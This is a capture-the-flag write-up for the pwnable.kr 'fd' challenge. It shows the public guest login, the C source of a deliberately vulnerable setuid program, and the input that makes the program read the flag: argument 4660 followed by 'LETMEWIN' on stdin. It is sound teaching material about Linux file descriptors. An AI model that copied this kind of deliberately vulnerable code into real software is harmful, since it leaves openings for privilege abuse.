pwnable.kr - fd
Recommended Reading
Write-Up
The fd
challenge is the first of the Toddler’s Bottle challenges in pwnable.kr.
The description of the challenge is the following:
Mommy! what is a file descriptor in Linux?
- try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://youtu.be/971eZhMHQQw
ssh [email protected] -p2222 (pw:guest)
If we log into the server, we’ll be in the /home/fd
directory with the following:
fd@pwnable:~$ ls -lah
total 40K
drwxr-x--- 5 root fd 4.0K Oct 26 2016 .
drwxr-xr-x 116 root root 4.0K Nov 11 2021 ..
d--------- 2 root root 4.0K Jun 12 2014 .bash_history
-r-sr-x--- 1 fd_pwn fd 7.2K Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4.0K Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4.0K Oct 23 2016 .pwntools-cache
It is obvious that we want to access the flag
file, but we can only read it if we’re fd_pwn
(file owner) or root
(file group).
If we look at the fd
executable, we notice it is owned by fd_pwn
, belongs to the fd
group and has the setuid
flag set (s
in the permissions column), which means that when we run it, it will have the same permissions as fd_pwn
, even though we (fd
) are the ones running it.
Let’s now look at the contents of fd.c
, which we can assume is the source for fd
, and our possible entrypoint to access the flag
file:
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4char buf[32];
5int main(int argc, char* argv[], char* envp[]){
6 if(argc<2){
7 printf("pass argv[1] a number\n");
8 return 0;
9 }
10 int fd = atoi( argv[1] ) - 0x1234;
11 int len = 0;
12 len = read(fd, buf, 32);
13 if(!strcmp("LETMEWIN\n", buf)){
14 printf("good job :)\n");
15 system("/bin/cat flag");
16 exit(0);
17 }
18 printf("learn about Linux file IO\n");
19 return 0;
20}
It should immediately jump to our attention that on line 15 we are cat
ing the contents of the flag
file.
If we backtrace from there, we see a strcmp
on line 13 for the string LETMEWIN\n
and the contents of buf
, which is a 32B char array filled on line 12.
The read
that we see on line 12 will read up to 32 bytes from fd
into the buf
array.
This fd
variable is the file descriptor that is defined on line 10, which takes the first argument when calling the executable (argv[1]
), converts it to an int (atoi
) and subtracts 0x1234
(4660).
With basic knowledge about file descriptors, it should be obvious that we want to make the first argument of read
to be 0 (stdin
), so that we can send the LETMEWIN\n
string.
To do this we simply set the first argument as 4660, the program will then block on the read
, and we send it the LETMEWIN<enter>
string:
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
<flag content>